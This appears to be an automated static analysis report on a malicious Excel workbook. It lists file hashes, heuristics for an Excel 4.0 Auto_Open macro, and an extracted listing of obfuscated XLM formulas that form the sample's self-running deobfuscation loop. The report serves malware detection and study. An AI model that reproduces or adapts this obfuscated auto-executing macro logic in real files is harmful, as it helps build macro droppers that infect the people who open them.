Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 07819746ac853ef2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:09 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 5b979dba94774650a98175e4bf938763 SHA-1: 9f780102098a2a703f3549e678b9e3cddd4bd4fd SHA-256: 07819746ac853ef28c25ab7fadb029e35000b3d64ba456c373ce1c83ece6672f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: e62f5a2bddc435a8f9ae908f8beca33a4096c6effed40fdf4e53beece347f717
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lsBrIvcL
' 0018     23 LABEL : Cell Value, String Constant - AKDINKyx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E172 
' 0018     21 LABEL : Cell Value, String Constant - bloYfG len=0 
' 0018     25 LABEL : Cell Value, String Constant - bvmCyLwnnI len=0 
' 0018     23 LABEL : Cell Value, String Constant - CfLCAkuK len=0 
' 0018     22 LABEL : Cell Value, String Constant - dOiQZQA len=0 
' 0018     26 LABEL : Cell Value, String Constant - DUyErnneWRp len=0 
' 0018     27 LABEL : Cell Value, String Constant - fAweWHbtBpIe len=0 
' 0018     26 LABEL : Cell Value, String Constant - gouqGZfEXis len=0 
' 0018     25 LABEL : Cell Value, String Constant - jcmqOfMmEY len=0 
' 0018     22 LABEL : Cell Value, String Constant - KArkeUW len=0 
' 0018     24 LABEL : Cell Value, String Constant - KOQmEJVox len=0 
' 0018     26 LABEL : Cell Value, String Constant - KyjOJRswESE len=0 
' 0018     20 LABEL : Cell Value, String Constant - mNrFF len=0 
' 0018     27 LABEL : Cell Value, String Constant - nBoswZclRvUW len=0 
' 0018     24 LABEL : Cell Value, String Constant - OsDFMiGRu len=0 
' 0018     24 LABEL : Cell Value, String Constant - sNmwSQXYq len=0 
' 0018     21 LABEL : Cell Value, String Constant - XCPJaM len=0 
' 0018     23 LABEL : Cell Value, String Constant - xcWVTwgT len=0 
' 0018     21 LABEL : Cell Value, String Constant - ybcDLc len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZYaHitTeY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lsBrIvcL,E79,"SET.NAME("KArkeUW",VALUE("0"))",""
'  lsBrIvcL,E82,"SET.NAME("AKDINKyx",KArkeUW)",""
'  lsBrIvcL,E84,"SET.NAME("ZYaHitTeY",KArkeUW)",""
'  lsBrIvcL,E87,"SET.NAME("fAweWHbtBpIe",COUNTA(dOiQZQA))",""
'  lsBrIvcL,E91,"SET.NAME("bloYfG",COUNTA(XCPJaM))",""
'  lsBrIvcL,E94,[],""
'  lsBrIvcL,E97,"SET.NAME("CfLCAkuK","")",""
'  lsBrIvcL,E100,"AKDINKyx",""
'  lsBrIvcL,E104,"SET.NAME("OsDFMiGRu",HLOOKUP("*",dOiQZQA,AKDINKyx,FALSE))",""
'  lsBrIvcL,E106,"DUyErnneWRp",""
'  lsBrIvcL,E110,"SET.NAME("sNmwSQXYq",KArkeUW)",""
'  lsBrIvcL,E115,[],""
'  lsBrIvcL,E117,"sNmwSQXYq",""
'  lsBrIvcL,E122,"gouqGZfEXis",""
'  lsBrIvcL,E127,"KOQmEJVox",""
'  lsBrIvcL,E130,"jcmqOfMmEY",""
'  lsBrIvcL,E133,"SET.NAME("mNrFF",VALUE(HLOOKUP("*",XCPJaM,jcmqOfMmEY,FALSE)))",""
'  lsBrIvcL,E136,"xcWVTwgT",""
'  lsBrIvcL,E141,"CfLCAkuK",""
'  lsBrIvcL,E143,"ZYaHitTeY",""
'  lsBrIvcL,E147,NEXT(),""
'  lsBrIvcL,E150,"KyjOJRswESE",""
'  lsBrIvcL,E153,"SET.NAME("f",INT(T(FORMULA(T(CfLCAkuK)&"",""&T(KyjOJRswESE)))))",""
'  lsBrIvcL,E158,"nBoswZclRvUW",""
'  lsBrIvcL,E163,NEXT(),""
'  lsBrIvcL,E167,RETURN(),""
'  lsBrIvcL,E197,"SET.NAME("bvmCyLwnnI",E79)",""
'  lsBrIvcL,E202,"dOiQZQA",""
'  lsBrIvcL,E207,"SET.NAME("XCPJaM",R92C11)",""
'  lsBrIvcL,E212,"SET.NAME("nBoswZclRvUW",220)",""
'  lsBrIvcL,E215,"SET.NAME("ybcDLc",5)",""
'  lsBrIvcL,E219,bvmCyLwnnI(),""
'  lsBrIvcL,E220,HALT(),""